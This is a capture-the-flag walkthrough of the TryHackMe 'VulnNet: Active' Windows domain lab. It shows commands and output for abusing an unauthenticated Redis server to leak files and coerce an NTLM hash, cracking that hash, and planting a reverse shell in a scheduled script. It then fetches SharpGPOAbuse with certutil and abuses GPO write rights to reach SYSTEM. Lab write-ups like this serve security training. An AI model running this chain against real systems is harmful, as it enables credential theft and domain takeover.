# Vulnet:Active Walkthough

**General Trivia**

*Link:*[https://tryhackme.com/room/vulnnetactive](https://tryhackme.com/room/vulnnetactive)

**VulnNet Entertainment had a bad time with their previous network which suffered multiple breaches. Now they moved their entire infrastructure and hired you again as a core penetration tester. Your objective is to get full access to the system and compromise the domain.**

**- Difficulty: Medium**
**- Operating System: Windows**

**Another Windows machine. Do your best and breach it, good luck!**

# Intial Recon

**Nmap results shows some ports are open**

```
Nmap scan report for 10.10.245.199
Host is up, received echo-reply ttl 124 (0.19s latency).
Scanned at 2021-09-09 04:01:00 EDT for 108s

PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 124 Simple DNS Plus
135/tcp   open  msrpc         syn-ack ttl 124 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 124 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds? syn-ack ttl 124
464/tcp   open  kpasswd5?     syn-ack ttl 124

6379/tcp  open  redis         syn-ack ttl 124 Redis key-value store 2.8.2402
9389/tcp  open  mc-nmf        syn-ack ttl 124 .NET Message Framing
49665/tcp open  msrpc         syn-ack ttl 124 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 124 Microsoft Windows RPC
49669/tcp open  ncacn_http    syn-ack ttl 124 Microsoft Windows RPC over HTTP
1.0
49670/tcp open  msrpc         syn-ack ttl 124 Microsoft Windows RPC
49673/tcp open  msrpc         syn-ack ttl 124 Microsoft Windows RPC
49680/tcp open  msrpc         syn-ack ttl 124 Microsoft Windows RPC
49806/tcp open  msrpc         syn-ack ttl 124 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results
incomplete
No OS matches for host
TCP/IP fingerprint:
SCAN(V=7.91%E=4%D=9/9%OT=53%CT=%CU=%PV=Y%DS=5%DC=T%G=N%TM=6139BFA8%P=x86_64-pc-
linux-gnu)
SEQ(SP=107%GCD=1%ISR=108%TI=I%II=I%SS=S%TS=U)
OPS(O1=M506NW8NNS%O2=M506NW8NNS%O3=M506NW8%O4=M506NW8NNS%O5=M506NW8NNS%O6=M506NNS)
```

```
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)
ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M506NW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
U1(R=N)
IE(R=Y%DFI=N%TG=80%CD=Z)

Network Distance: 5 hops
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 1s
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 29440/tcp): CLEAN (Timeout)
|   Check 2 (port 32841/tcp): CLEAN (Timeout)
|   Check 3 (port 51484/udp): CLEAN (Timeout)
|   Check 4 (port 51906/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
|   2.02:
|_    Message signing enabled and required
| smb2-time:
|   date: 2021-09-09T08:02:12
|_  start_date: N/A

TRACEROUTE (using port 135/tcp)

HOP RTT       ADDRESS
1   23.30 ms  10.17.0.1
2   ... 4
5   175.58 ms 10.10.245.199

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 04:02
Completed NSE at 04:02, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 04:02
Completed NSE at 04:02, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 04:02
Completed NSE at 04:02, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 108.87 seconds
           Raw packets sent: 109 (8.480KB) | Rcvd: 43 (2.480KB)
```

**Two things are here to notice:**
*First, the SMB share and second the Redis Server*
*(I also enumerate the DNS port but found nothing interesting)*

# Enumerating SMB Shares:

**Found nothing with anonymous login**

```
# smbclient -L \\10.10.245.199
Enter WORKGROUP\root's password:
Anonymous login successful

    Sharename       Type      Comment
    ---------       ----      -------
SMB1 disabled -- no workgroup available
```

# Enumerating Redis Server

**Now its time to enumerate the redis server using redis-cli command tool (you can download this tool using this command: sudo apt-get install redis-tools)**

*1. First, we have to check the INFO command, if it runs successfully then we don't require any authentication*

```
┌──(root💀kali)-[~/TryHackme/Vulnet_Active]
└─# redis-cli -h 10.10.38.19
10.10.38.19:6379> INFO
# Server
redis_version:2.8.2402
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:b2a45a9622ff23b7
redis_mode:standalone
os:Windows
arch_bits:64
multiplexing_api:winsock_IOCP
process_id:1660
run_id:93384fc1e1e07b428a573cca1248e7f0d0aeea9f
tcp_port:6379
uptime_in_seconds:66
uptime_in_days:0
hz:10
lru_clock:3789764
config_file:

# Clients
connected_clients:1
client_longest_output_list:0
client_biggest_input_buf:0
```

```
blocked_clients:0

# Memory
used_memory:952800
used_memory_human:930.47K
used_memory_rss:919256
used_memory_peak:952800
used_memory_peak_human:930.47K
used_memory_lua:36864
mem_fragmentation_ratio:0.96
mem_allocator:dlmalloc-2.8

# Persistence
loading:0
rdb_changes_since_last_save:0
rdb_bgsave_in_progress:0
rdb_last_save_time:1631179650
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:-1
rdb_current_bgsave_time_sec:-1
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok

# Stats
total_connections_received:4
total_commands_processed:3
instantaneous_ops_per_sec:0
total_net_input_bytes:154
total_net_output_bytes:0
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
evicted_keys:0
keyspace_hits:0
keyspace_misses:0
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:0

# Replication
role:master
connected_slaves:0
master_repl_offset:0
```

```
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0

# CPU
used_cpu_sys:0.56
used_cpu_user:0.56
used_cpu_sys_children:0.00
used_cpu_user_children:0.00

# Keyspace
10.10.38.19:6379>
```

*2. Now check the CONFIG GET command which gives us the values of the paramters*

```
10.10.38.19:6379> CONFIG GET *
  1) "dbfilename"
  2) "dump.rdb"
  3) "requirepass"
  4) ""
  5) "masterauth"
  6) ""
  7) "unixsocket"
  8) ""
  9) "logfile"
 10) ""
 11) "pidfile"
 12) "/var/run/redis.pid"
 13) "maxmemory"
 14) "0"
 15) "maxmemory-samples"
 16) "3"
 17) "timeout"
 18) "0"
 19) "tcp-keepalive"
 20) "0"
 21) "auto-aof-rewrite-percentage"
 22) "100"
 23) "auto-aof-rewrite-min-size"
 24) "67108864"
 25) "hash-max-ziplist-entries"
 26) "512"
 27) "hash-max-ziplist-value"
 28) "64"
 29) "list-max-ziplist-entries"
 30) "512"
 31) "list-max-ziplist-value"
 32) "64"
 33) "set-max-intset-entries"
 34) "512"
 35) "zset-max-ziplist-entries"
```

```
36) "128"
37) "zset-max-ziplist-value"
38) "64"
39) "hll-sparse-max-bytes"
40) "3000"
41) "lua-time-limit"
42) "5000"
43) "slowlog-log-slower-than"
44) "10000"
45) "latency-monitor-threshold"
46) "0"
47) "slowlog-max-len"
48) "128"
49) "port"
50) "6379"
51) "tcp-backlog"
52) "511"
53) "databases"
54) "16"
55) "repl-ping-slave-period"
56) "10"
57) "repl-timeout"
58) "60"
59) "repl-backlog-size"
60) "1048576"
61) "repl-backlog-ttl"
62) "3600"
63) "maxclients"
64) "10000"
65) "watchdog-period"
66) "0"
67) "slave-priority"
68) "100"
69) "min-slaves-to-write"
70) "0"
71) "min-slaves-max-lag"
72) "10"
73) "hz"
74) "10"
75) "repl-diskless-sync-delay"
76) "5"
77) "no-appendfsync-on-rewrite"
78) "no"
79) "slave-serve-stale-data"
80) "yes"
81) "slave-read-only"
82) "yes"
83) "stop-writes-on-bgsave-error"
84) "yes"
85) "daemonize"
86) "no"
87) "rdbcompression"
```

```
 88) "yes"
 89) "rdbchecksum"
 90) "yes"
 91) "activerehashing"
 92) "yes"
 93) "repl-disable-tcp-nodelay"
 94) "no"
 95) "repl-diskless-sync"
 96) "no"
 97) "aof-rewrite-incremental-fsync"
 98) "yes"
 99) "aof-load-truncated"
100) "yes"
101) "appendonly"
102) "no"
103) "dir"
104) "C:\\Users\\enterprise-security\\Downloads\\Redis-x64-2.8.2402"
105) "maxmemory-policy"
106) "volatile-lru"
107) "appendfsync"
108) "everysec"
109) "save"
110) "jd 3600 jd 300 jd 60"
111) "loglevel"
112) "notice"
113) "client-output-buffer-limit"
114) "normal 0 0 0 slave 268435456 67108864 60 pubsub 33554432 8388608 60"
115) "unixsocketperm"
116) "0"
117) "slaveof"
118) ""
119) "notify-keyspace-events"
120) ""
121) "bind"
122) ""
(2.26s)
10.10.38.19:6379>
```

**One thing here to notice that, one of the parameter value is exposing the username**

```
104) "C:\\Users\\enterprise-security\\Downloads\\Redis-x64-2.8.2402"
```

**Now what we can do with this username?**
**After doing some research, I found the hacktricks blog which tells us about every possible way for enumerating the redis server**

Link:https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#lua-sandbox-bypass
Link:
https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html

**I tried each and every way one by one( relevent ways only ) and then i found a way for remote code execution which was "LUA Sandbox Bypass"**

**Redis can execute Lua scripts (in a sandbox, more on that later) via the "EVAL" command. The sandbox allows the "dofile()" command .It can be used to enumerate files and directories. No specific privilege is needed by Redis.**

**If the Lua script is syntaxically invalid or attempts to set global variables, the error messages will leak some content of the target file:**

```
# redis-cli -h 10.10.38.19 -p 6379 EVAL "dofile('C:\\\Users\\\enterprise-security\\\Desktop\\\user.txt')" 0
(error) ERR Error running script (call to f_ce5d85ea1418770097e56c1b605053114cc3ff2e): @user_script:1: C:\Users\enterprise-security\Desktop\user.txt:1: malformed number near 'FLAG REDACTED'
```

**After finding the first flag, I was now confused what to do next. After thinking a long time I remember one of the ippsec's videos in which he uses the mysql-cli to connect back to our local machine using responder which captures the service hash**

**Can we get success with redis also?**

**First I run the responder in my local machine**

```
┌──(root💀kali)-[~/TryHackme/Vulnet_Active]
└─# responder -I tun0

                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.0.6.0

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    DNS/MDNS                   [ON]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
```

```
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Fingerprint hosts          [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.17.12.44]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']

[+] Current Session Variables:
    Responder Machine Name     [WIN-1A7IJPY4GUY]
    Responder Domain Name      [08P0.LOCAL]
    Responder DCE-RPC Port     [48810]

[+] Listening for events...
```

**Then I run the EVAL dofile() function using redis-cli giving my IP address as an argument for a call back**

```
—# redis-cli -h 10.10.38.19 -p 6379 eval "dofile('//10.17.12.44//hello')" 0
(error) ERR Error running script (call to
f_9a3fb3f37a8f9a2162f8324427cfb7ae216db062): @user_script:1: cannot open
//10.17.12.44//hello: Permission denied
```

**We got an permission denied error but looking at the responder, we successfully capture the service hash(NetNTLMv2 hash)**

```
[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.10.38.19
[SMB] NTLMv2-SSP Username : VULNNET\enterprise-security
[SMB] NTLMv2-SSP Hash     : enterprise-
```

```
security::VULNNET:79d8214341d6654d:B42B723C5A1CAFCE07A2D2D923E334A4:0101000000000
```

```
--[snip]--
```

**Now, crack this hash using John the Ripper**

```
# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
REDACTED  (enterprise-security)
1g 0:00:00:04 DONE (2021-09-09 06:14) 0.2188g/s 878354p/s 878354c/s 878354C/s
sandi&j4..sand36
Use the "--show --format=netntlmv2" options to display all of the cracked
passwords reliably
Session completed
```

**Now we got the credentials**
**Again trying to enumerate the SMB share**

```
┌──(root💀kali)-[~/TryHackme/Vulnet_Active]
└─# smbclient -L \\10.10.38.19 -U 'enterprise-security'
Enter WORKGROUP\enterprise-security's password:

    Sharename       Type      Comment
    ---------       ----      -------
    ADMIN$          Disk      Remote Admin
    C$              Disk      Default share
    Enterprise-Share Disk
    IPC$            IPC       Remote IPC
    NETLOGON        Disk      Logon server share
    SYSVOL          Disk      Logon server share
SMB1 disabled -- no workgroup available
```

**This time we got some shares listing here, from which 'Enterprise-Share' is looking interesting**

**Lets look into this share**

```
# smbclient \\\\10.10.38.19\\Enterprise-Share -U 'enterprise-security'
Enter WORKGROUP\enterprise-security's password:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Tue Feb 23 17:45:41 2021
  ..                                  D        0  Tue Feb 23 17:45:41 2021
  PurgeIrrelevantData_1826.ps1        A       69  Tue Feb 23 19:33:18 2021
```

```
        9558271 blocks of size 4096. 5128038 blocks available
smb: \>
```

**We got an powershell executable file(.ps1), lets check what it's doing**

```
┌──(root💀kali)-[~/TryHackme/Vulnet_Active]
└─# cat PurgeIrrelevantData_1826.ps1
rm -Force C:\Users\Public\Documents\* -ErrorAction SilentlyContinue
```

**It seems like an scheduled task, maybe we can change the contents with our reverse shell, and got an intial foothold?**

```
┌──(root💀kali)-[~/TryHackme/Vulnet_Active]
└─# smbclient \\\\10.10.45.90\\Enterprise-Share -U 'enterprise-security'
Enter WORKGROUP\enterprise-security's password:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Tue Feb 23 17:45:41 2021
  ..                                  D        0  Tue Feb 23 17:45:41 2021
  PurgeIrrelevantData_1826.ps1        A       69  Tue Feb 23 19:33:18 2021

        9466623 blocks of size 4096. 870783 blocks available
smb: \> put PurgeIrrelevantData_1826.ps1
putting file PurgeIrrelevantData_1826.ps1 as \PurgeIrrelevantData_1826.ps1 (2.3
kb/s) (average 2.3 kb/s)
smb: \> dir
  .                                   D        0  Tue Feb 23 17:45:41 2021
  ..                                  D        0  Tue Feb 23 17:45:41 2021
  PurgeIrrelevantData_1826.ps1        A     4403  Thu Sep  9 07:48:07 2021

        9466623 blocks of size 4096. 870781 blocks available
```

# Initial Foothold:

**Using the nishang shell (Invoke-PowershellTcp.ps1) , I change the file with the reverse shell and use nc to listen on my local machine**

```
┌──(root💀kali)-[~/TryHackme/Vulnet_Active]
└─# rlwrap nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.17.12.44] from (UNKNOWN) [10.10.38.19] 50046
Windows PowerShell running as user enterprise-security on VULNNET-BC3TCK1
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\enterprise-security\Downloads>PS C:\Users\enterprise-
security\Downloads>
```

**GOT A SHELL!!**

**Checking the tokens:**

```
PS C:\Users\enterprise-security\Downloads> whoami /all

USER INFORMATION
----------------

User Name                    SID
============================ ============================================
vulnnet\enterprise-security S-1-5-21-1405206085-1650434706-76331420-1103


GROUP INFORMATION
-----------------

Group Name                                 Type             SID
Attributes
========================================== ================ ============
================================================
Everyone                                   Well-known group S-1-1-0
Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545
Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554
Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                       Well-known group S-1-5-6
Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                              Well-known group S-1-2-1
Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11
Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15
Mandatory group, Enabled by default, Enabled group
LOCAL                                      Well-known group S-1-2-0
Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1
Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================
========
SeMachineAccountPrivilege     Add workstations to domain

Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
```

```
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set
Disabled
```

**We have 'SeImpersonatePrivilege' token enabled**

**Checking the system info:**

```
PS C:\Users\enterprise-security\Downloads> systeminfo

Host Name:                 VULNNET-BC3TCK1
OS Name:                   Microsoft Windows Server 2019 Datacenter Evaluation
OS Version:                10.0.17763 N/A Build 17763
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Primary Domain Controller
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:
Product ID:                00431-20000-00000-AA463
Original Install Date:     2/22/2021, 11:43:53 AM
System Boot Time:          9/9/2021, 2:21:19 AM
System Manufacturer:       Xen
System Model:              HVM domU
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 63 Stepping 2
GenuineIntel ~2400 Mhz
BIOS Version:              Xen 4.11.amazon, 8/24/2006
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory:     512 MB
Available Physical Memory: 36 MB
Virtual Memory: Max Size:  1,536 MB
Virtual Memory: Available: 393 MB
Virtual Memory: In Use:    1,143 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    vulnnet.local
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                           [01]: AWS PV Network Device
                                 Connection Name: Ethernet 2
                                 DHCP Enabled:    Yes
                                 DHCP Server:     10.10.0.1
                                 IP address(es)
                                 [01]: 10.10.38.19
                                 [02]: fe80::9988:161e:c830:44cf
```

```
Hyper-V Requirements:      A hypervisor has been detected. Features required
for Hyper-V will not be displayed.
```

**Nothing interesting....**

# Enumeration using PowerView:

**After spending so much time in manual enumeration, i revise my notes and recall powerview.ps1 script for enumeration**

**Uploading the executable script to the remote server using python webserver**
**Checking DomainUser Info**

```
Get-DomainGroup -MemberIdentity Enterprise-security


usncreated             : 12348
grouptype              : GLOBAL_SCOPE, SECURITY
samaccounttype         : GROUP_OBJECT
samaccountname         : Domain Users
whenchanged            : 2/23/2021 9:32:07 AM
objectsid              : S-1-5-21-1405206085-1650434706-76331420-513
objectclass            : {top, group}
cn                     : Domain Users
usnchanged             : 12350
dscorepropagationdata  : {2/23/2021 9:32:08 AM, 1/1/1601 12:00:01 AM}
memberof               : CN=Users,CN=Builtin,DC=vulnnet,DC=local
iscriticalsystemobject : True
description            : All domain users
distinguishedname      : CN=Domain Users,CN=Users,DC=vulnnet,DC=local
name                   : Domain Users
whencreated            : 2/23/2021 9:32:07 AM
instancetype           : 4
objectguid             : 674aa57f-e874-4881-961d-bf123938b45d
objectcategory         :
CN=Group,CN=Schema,CN=Configuration,DC=vulnnet,DC=local
```

**Checking for GPOs**
(Using PowerView Tricks: https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993)

```
PS C:\Users\Enterprise-security\Downloads>
Get-NetGPO


usncreated               : 5672
systemflags              : -1946157056
displayname              : security-pol-vn
gpcmachineextensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{53D6AB1B-
2488-11D1-A28C-00C04FB94F17}][{827D319E-6EA
```

```
                           C-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-
00A0C90F574B}][{B1BE8D72-6EAC-11D2-A4EA-00
                           C04F79F83A}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}]
whenchanged               : 2/23/2021 11:09:44 PM
objectclass               : {top, container, groupPolicyContainer}
gpcfunctionalityversion   : 2
showinadvancedviewonly    : True
usnchanged                : 20506
dscorepropagationdata     : {2/23/2021 11:08:53 PM, 2/23/2021 9:32:08 AM,
1/1/1601 12:00:00 AM}
name                      : {31B2F340-016D-11D2-945F-00C04FB984F9}
flags                     : 0
cn                        : {31B2F340-016D-11D2-945F-00C04FB984F9}
iscriticalsystemobject    : True
gpcfilesyspath            : \\vulnnet.local\sysvol\vulnnet.local\Policies\
{31B2F340-016D-11D2-945F-00C04FB984F9}
distinguishedname         : CN={31B2F340-016D-11D2-945F-
00C04FB984F9},CN=Policies,CN=System,DC=vulnnet,DC=local
whencreated               : 2/23/2021 9:30:33 AM
versionnumber             : 3
instancetype              : 4
objectguid                : 9d593bf2-13ac-4df7-97a9-faff2abd3e2c
objectcategory            : CN=Group-Policy-
Container,CN=Schema,CN=Configuration,DC=vulnnet,DC=local

usncreated                : 5675
systemflags               : -1946157056
displayname               : Default Domain Controllers Policy
gpcmachineextensionnames  : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{D02B1F72-
3407-48AE-BA88-E8213C6761F1}][{827D319E-6EA
                           C-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-
00A0C90F574B}]
whenchanged               : 2/24/2021 12:14:52 AM
objectclass               : {top, container, groupPolicyContainer}
gpcfunctionalityversion   : 2
showinadvancedviewonly    : True
usnchanged                : 24594
dscorepropagationdata     : {2/23/2021 9:32:08 AM, 1/1/1601 12:00:00 AM}
name                      : {6AC1786C-016F-11D2-945F-00C04fB984F9}
flags                     : 0
cn                        : {6AC1786C-016F-11D2-945F-00C04fB984F9}
iscriticalsystemobject    : True
gpcfilesyspath            : \\vulnnet.local\sysvol\vulnnet.local\Policies\
{6AC1786C-016F-11D2-945F-00C04fB984F9}
distinguishedname         : CN={6AC1786C-016F-11D2-945F-
00C04fB984F9},CN=Policies,CN=System,DC=vulnnet,DC=local
whencreated               : 2/23/2021 9:30:33 AM
versionnumber             : 4
instancetype              : 4
objectguid                : 71ee1493-0079-40b4-80f0-8ba42c4f61d5
objectcategory            : CN=Group-Policy-
Container,CN=Schema,CN=Configuration,DC=vulnnet,DC=local
```

**It's time to use Bloodhound, so I upload the SharpHound.ps1 script to the remote server using python http server.**

```
Invoke-BloodHound -CollectionMethod All
ls


    Directory: C:\Users\Enterprise-security\Downloads


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         2/23/2021   2:29 PM                nssm-2.24-101-g897c7ad
d-----         2/26/2021  12:14 PM                Redis-x64-2.8.2402
-a----          9/9/2021   6:38 AM           8940 20210909063742_BloodHound.zip
-a----          9/9/2021   6:06 AM         770279 PowerView.ps1
-a----         2/26/2021  10:37 AM            143 startup.bat
-a----          9/9/2021   6:38 AM          10169
Y2Q3NzU4MTgtZWE0Ny00ZGJjLTg4MDAtM2NjYjJmZTZjN2U2.bin
```

*Copy the zip file to the SMB share and download from there, now launch noe4j server then bloodhound*

*Uploading the data to the bloodhound*

*Checking for "Find the shortest path to domain admins"*

*Enterprise-Security (which we owned) has generic rights access to the GPO "security-pol-vn"(which we seen in powerview.ps1 results)*

**According to bloodhound info:**

*The user ENTERPRISE-SECURITY@VULNNET.LOCAL has generic write access to the GPO SECURITY-POL-VN@VULNNET.LOCAL. Generic Write access grants you the ability to write to any non-protected attribute on the target object, including "members" for a group, and "serviceprincipalnames" for a user*

**Actually I don't know how to exploit the GPO permissions, so after some research I found a blog**
Link: https://book.hacktricks.xyz/windows/active-directory-methodology/acl-persistence-abuse#abusing-the-gpo-permissions

*Which tells about how to exploit this vulnerability step by step*

*But this does'nt help. After spending hours on internet I found one github repo "SharpGPOAbuse" which can do some magic*

**Uploading SharpGPOAbuse.exe using certutil.exe**

```
certutil -urlcache -split -f http://10.17.12.44/SharpGPOAbuse.exe Hello.exe
****  Online  ****
  000000  ...
  013c00
CertUtil: -URLCache command completed successfully.
```

**Adding the enterprise-security user to the local administrators groups**

```
 .\Hello.exe --AddComputerTask --TaskName "Nothing" --Author
vulnnet\administrator --command "cmd.exe" --Arguments "/c net localgroup
administrators enterprise-security /add" --GPOName "SECURITY-POL-VN"

[+] Domain = vulnnet.local
[+] Domain Controller = VULNNET-BC3TCK1SHNQ.vulnnet.local
[+] Distinguished Name = CN=Policies,CN=System,DC=vulnnet,DC=local
[+] GUID of "SECURITY-POL-VN" is: {31B2F340-016D-11D2-945F-00C04FB984F9}
[+] Creating file \\vulnnet.local\SysVol\vulnnet.local\Policies\{31B2F340-016D-
11D2-945F-00C04FB984F9}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO
refresh cycle.
[+] Done!
```

**Updating the GPO Permissions**

```
gpupdate /force
Updating policy...



Computer Policy update has completed successfully.

User Policy update has completed successfully.
```

**Again checking the user details and now this time we are the member of local administrator groups**

```


net user enterprise-security
User name                    enterprise-security
Full Name                    Enterprise Security
Comment                      TryHackMe
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            2/23/2021 4:02:50 PM
Password expires             Never
Password changeable          2/24/2021 4:02:50 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
```

```
User profile
Home directory
Last logon                    9/11/2021 12:07:55 AM

Logon hours allowed           All

Local Group Memberships       *Administrators
Global Group memberships      *Domain Users
The command completed successfully.
```

**Now use psexec.py to get an admin shell**

```
┌──(root💀kali)-[~/TryHackme/Vulnet_Active]
└─# impacket-psexec vulnnet/enterprise-security@10.10.81.5
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Password:
[*] Requesting shares on 10.10.81.5.....
[*] Found writable share ADMIN$
[*] Uploading file OILXGUPx.exe
[*] Opening SVCManager on 10.10.81.5.....
[*] Creating service oCCv on 10.10.81.5.....
[*] Starting service oCCv.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1757]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system
```

**GOT THE ROOT FLAG**